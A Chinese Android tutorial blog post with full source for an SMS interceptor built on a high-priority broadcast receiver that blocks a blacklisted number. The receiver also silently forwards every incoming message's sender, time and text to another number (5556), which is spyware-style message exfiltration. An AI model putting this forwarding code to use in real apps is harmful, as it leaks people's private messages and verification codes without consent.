`

短信拦截器

阅读更多
短信拦截器:

今天利用广播机制做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。

main.xml:
<?xml version="1.0" encoding="utf-8"?>
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
     android:orientation="vertical"
     android:layout_width="fill_parent"
     android:layout_height="fill_parent"
     >
 <Button  
     android:layout_width="fill_parent" 
     android:layout_height="wrap_content" 
     android:text="注册拦截"
     android:onClick="regiset"
     />
 <Button  
     android:layout_width="fill_parent" 
     android:layout_height="wrap_content" 
     android:text="解注册拦截"
     android:onClick="unregiset"
     />
 </LinearLayout>


首页显示的SmsListenerActivity:
package cn.yj3g.SmsListener;
 
 import android.app.Activity;
 import android.content.IntentFilter;
 import android.os.Bundle;
 import android.view.View;
 import android.widget.Toast;
 
 public class SmsListenerActivity extends Activity {
     private SmsRecevier recevier;
     private boolean isregiset = false;
     private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
         recevier = new SmsRecevier();
     }
     public void regiset(View v) {
         IntentFilter filter = new IntentFilter(ACTION);
         filter.setPriority(1000);//设置优先级最大
         registerReceiver(recevier, filter);
         isregiset = true;
         Toast.makeText(this, "注册成功", 0).show();
     }
 
     public void unregiset(View v) {
         if (recevier != null && isregiset) {
             unregisterReceiver(recevier);
             isregiset = false;
             Toast.makeText(this, "解注册成功", 0).show();
         } else
             Toast.makeText(this, "尚未注册", 0).show();
     }
     @Override
     protected void onDestroy() {
         super.onDestroy();
         if (recevier != null && isregiset) {
             unregisterReceiver(recevier);
             isregiset = false;
             Toast.makeText(this, "解注册成功", 0).show();
         }
     }
 }


如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。

AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
       package="cn.yj3g.SmsListener"
       android:versionCode="1"
       android:versionName="1.0">
     <uses-sdk android:minSdkVersion="8" />
 
     <application android:icon="@drawable/icon" android:label="@string/app_name">
         <activity android:name=".SmsListenerActivity"
                   android:label="@string/app_name">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
         <!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
         <receiver android:name=".SmsRecevier">
             <intent-filter android:priority="1000"> 将优先级设到最大
                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
             </intent-filter>
         </receiver>
          -->    
     </application>
      <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
     <uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
 </manifest>


SmsRecevier类用作拦截信息:
package cn.yj3g.SmsListener;
 
 import java.text.SimpleDateFormat;
 import java.util.Date;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.telephony.SmsManager;
 import android.telephony.SmsMessage;
 import android.util.Log;
 
 public class SmsRecevier extends BroadcastReceiver {
     public SmsRecevier() {
         Log.v("TAG", "SmsRecevier create");
     }
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Log.v("TAG", "SmsRecevier onReceive");
         Object[] pdus = (Object[]) intent.getExtras().get("pdus");
         if (pdus != null && pdus.length > 0) {
             SmsMessage[] messages = new SmsMessage[pdus.length];
             for (int i = 0; i < pdus.length; i++) {
                 byte[] pdu = (byte[]) pdus[i];
                 messages[i] = SmsMessage.createFromPdu(pdu);
             }
             for (SmsMessage message : messages) {
                 String content = message.getMessageBody();// 得到短信内容
                 String sender = message.getOriginatingAddress();// 得到发信息的号码
                 if (sender.equals("110")) {
                     abortBroadcast();// 中止发送
                     Log.e("TAG", "此号码为黑名单号码,已拦截!");
                 }
                 Date date = new Date(message.getTimestampMillis());
                 SimpleDateFormat format = new SimpleDateFormat(
                         "yyyy-MM-dd HH:mm:ss");
                 String sendContent = format.format(date) + ":" + sender + "--"
                         + content;
                 SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
                 smsManager.sendTextMessage("5556", null, sendContent, null,
                         null);// 转发给5556
                 Log.v("TAG", sendContent);
             }
         }
     }
 }


分享到:
评论

相关推荐

    Android 短信拦截器

    在Android系统中,短信拦截器是一种机制,允许开发者在短信到达设备时进行处理,比如过滤、存储或响应特定类型的短信。这个"Android 短信拦截器"可能是一个示例项目,展示了如何在Android 4.0.3(Ice Cream Sandwich)...

    Android课程设计——骚扰短信拦截器.zip

    本课程设计的主题是“骚扰短信拦截器”,它旨在帮助用户自动过滤掉不必要的、烦人的或者潜在的垃圾短信,从而提高日常生活中的通信质量。在这个项目中,我们将深入探讨Android系统架构、短信API的使用以及实现拦截器...

    基于Java开发的安卓短信拦截器

    1.根据黑名单中的号码拦截短信。 2.黑名单可以增删改。 3.浏览通话记录,将某个号码加入黑名单。 4.可以设定关键词拦截黑名单。 5.可以设定拦截时间(整体时间和规则时间,工作时间和非工作时间不同的拦截规则) 。 6...

    根据关键词、号码做的短信拦截器(源码)

    非常适合新手的练手项目,可根据手机号码,关键词来屏蔽短信,所屏蔽的短信会在列表显示,打开程序按设置键可以设置和查看 要屏蔽的号码以及关键词。 长按就可以删除号码和关键词,比较全面的功能。希望对大家有用。

    基于 Java 实现的android骚扰短信拦截器【Android课程设计】

    【作品名称】:基于 Java 实现的android骚扰短信拦截器【Android课程设计】 【适用人群】:适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 【项目...

    Android短信拦截源码

    要创建一个短信拦截器,你需要做以下几步: 1. **创建BroadcastReceiver**:首先,你需要定义一个继承自BroadcastReceiver的类,并重写onReceive()方法。在这个方法里,你会处理接收到的ACTION_SMS_RECEIVED广播。 ...

    短信拦截源码

    这个项目很可能是实现了一个免杀版的短信拦截器,所谓“免杀”意味着它可能采用了一些反调试和混淆技术,以防止被恶意软件检测工具识别和阻止。这通常涉及到代码混淆、动态加载、权限控制等策略。 1. **代码混淆**...

    MTK功能机短信拦截方法

    1. **注册拦截器**:首先,开发者需要在系统启动时注册一个短信拦截器,这样每当有新的短信到达时,系统都会调用预设的拦截器函数。 2. **监听短信**:通过MTK SDK提供的API,拦截器会持续监听短信接收事件。 3. *...

    短信拦截 开机自启

    短信拦截器通常作为手机安全应用的一部分,能够帮助用户过滤掉广告、诈骗信息甚至恶意软件的传播途径。这类应用通过分析短信内容、发送者号码或使用特定的关键词黑名单来决定是否拦截一条短信。 开机自启则是应用...

    Android课程设计-骚扰短信拦截器

    - 项目介绍 运行中有什么问题可以私聊博主,本人高级安卓工程师,主页置顶有常见爆红解决的方法 ## 项目备注 1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用!...

    sms.zip_android_短信拦截

    至此,我们已经创建了一个基本的短信拦截器。不过,需要注意的是,自Android 8.0(API级别26)起,动态注册BroadcastReceiver不再能在后台运行。因此,对于Android 8.0及以上版本,你需要在应用启动时或需要时在代码...

    InterCeptor_calllog_电话拦截器_短信拦截_android_

    android电话、短信黑白名单拦截、电话录音等综合实现实例

    iOS5短信拦截小demo

    【iOS5短信拦截小demo】是一个面向iOS平台的示例项目,主要展示了如何在iOS系统中实现短信的拦截功能。这个项目可能适用于开发者或者对iOS系统底层操作感兴趣的用户,特别是那些想要了解或开发类似功能的人。 在iOS...

    android短信电话拦截实现

    电话拦截主要通过监听PhoneStateListener,而短信拦截则依赖于BroadcastReceiver来接收和处理ACTION_PHONE_STATE和SMS_RECEIVED广播。 二、短信拦截 1. 创建BroadcastReceiver:首先定义一个继承自...

    android中利用广播实现指定电话号码的短信的拦截 源码

    2. **短信拦截**:要实现短信拦截,我们需要创建一个BroadcastReceiver,并在它的onReceive()方法中处理接收到的短信。首先,我们需要在AndroidManifest.xml文件中注册BroadcastReceiver,并声明SMS_RECEIVED权限: ...

    Android如何抢先接受到短信测试用例

    5. **测试**:为了测试我们的短信拦截器,可以发送一条短信到设备,并观察BroadcastReceiver是否正确地接收到并处理了短信。这通常需要在模拟环境中进行,因为实际的短信服务可能会受到限制。 6. **注意事项**:...

    短信 拦截 类 symbian

    综上所述,要在Symbian系统中实现短信拦截功能,开发者需要理解Symbian的消息处理机制,创建并注册监听器,编写拦截逻辑,并处理权限问题。通过这些步骤,我们可以构建一个能够保护用户隐私和安全的短信拦截应用。...

    symbian 手机短信拦截源代码

    在本文中,我们将深入探讨Symbian系统的手机短信拦截源代码。Symbian是一个历史悠久的智能手机操作系统,曾经广泛应用于诺基亚等品牌手机。短信拦截功能对于用户来说非常重要,它可以帮助用户过滤垃圾短信,保护隐私...

Global site tag (gtag.js) - Google Analytics